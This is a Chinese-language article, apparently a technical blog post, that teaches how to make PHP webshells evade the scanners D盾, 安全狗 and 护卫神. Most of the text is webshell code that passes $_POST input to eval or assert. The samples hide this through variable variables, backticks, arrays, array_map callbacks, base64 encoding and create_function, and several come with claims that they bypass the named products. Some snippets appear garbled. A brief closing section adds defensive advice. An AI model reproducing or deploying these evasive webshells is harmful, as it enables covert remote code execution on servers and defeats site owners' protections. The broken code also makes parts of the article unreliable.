Webshell免杀研究
字数 1044 2025-08-25 22:59:02
Webshell免杀技术研究与实践
前言
Webshell免杀技术是网络安全攻防对抗中的重要环节,本文旨在全面介绍针对主流安全防护软件(D盾、安全狗、护卫神)的Webshell免杀方法,包含小马和大马的多种免杀技巧。
主流查杀软件分析
D盾
- 专为IIS设计的主动防御安全软件
- 主要功能:一句话木马查杀、主动后门拦截、Session保护、CC攻击防御等
- 查杀特点:匹配特征码、危险函数和木马特征值
安全狗
- 提供木马查杀、漏洞防御、非法请求拦截等功能
- 主要特性:拦截SQL注入、XSS攻击防御、0Day攻击防御等
护卫神
- 适用于ASP和PHP程序的防护软件
- 主要功能:实时木马程序查杀、网站挂马拦截、文件篡改保护等
查杀技术原理
-
静态检查:匹配特征码、危险函数和木马特征值
- 优点:快速方便,对已知木马准确率高
- 缺点:误报率高,无法检测0Day木马
-
动态检测:通过木马执行时的动态特征检测
-
日志检测:分析日志文件建立请求模型检测异常
- 优点:访问量大时参考价值高
- 缺点:误报率高,处理效率低
小马免杀技术
1. 引用免杀技术
原理:通过多次引用和反引号拼接绕过变量溯源
<?php
$a = "b";
$b = $_POST['x'];
eval(`
$$
a`);
?>
效果:成功免杀D盾、安全狗、护卫神
2. 可变变量免杀
原理:利用PHP可变变量特性动态改变变量名
<?php
$do = "todo";
$$
do = $_POST['x'];
eval(`$todo`);
?>
关键点:结合反引号(`)实现免杀
3. 二维数组免杀
原理:将执行代码放入数组中绕过检测
<?php
$b = $_POST['x'];
$a = array("a" => array("b" => $b));
eval(`$a[a][b]`);
?>
注意:一维数组可能被护卫神检测到
4. 数组交集免杀
原理:通过数组交集操作获取执行内容
<?php
$arr1 = array("a" => $_POST['x']);
$arr2 = array("a" => "b");
$result = array_intersect_key($arr1, $arr2);
eval(`$result[a]`);
?>
5. 回调函数免杀
原理:使用array_map()回调函数执行代码
<?php
function test($a, $b) {
return array_map($a, $b);
}
test("assert", array($_POST['x']));
?>
大马免杀技术
1. 加密混淆免杀
步骤:
- 使用base64加密原始大马
- 通过变量赋值和反引号拼接执行解密内容
<?php
$encoded = "base64加密后的内容";
$decoded = base64_decode($encoded);
eval(`$decoded`);
?>
关键点:避免直接使用base64_decode关键字
2. Create_function免杀
原理:使用create_function创建匿名函数
<?php
$func = "create_function";
$param = $_POST['x'];
$func('', $param)();
?>
优化:对函数名进行拆分和混淆
3. 可变变量大马免杀
原理:结合加密和可变变量技术
<?php
$do = "todo";
$$
do = base64_decode("加密的大马内容");
eval(`$todo`);
?>
总结与建议
-
免杀核心:灵活多变,结合多种技术
-
注意事项:
- 避免使用现成Webshell(可能有后门)
- 自行设计木马程序更安全
- 持续关注查杀软件更新
-
发展趋势:免杀与查杀技术将持续对抗演进
-
防御建议:
- 使用多层次的防护策略
- 定期更新防护规则
- 监控异常文件和行为
通过掌握这些免杀技术,安全研究人员可以更好地理解Webshell的工作原理和防护软件的检测机制,从而提升安全防护能力。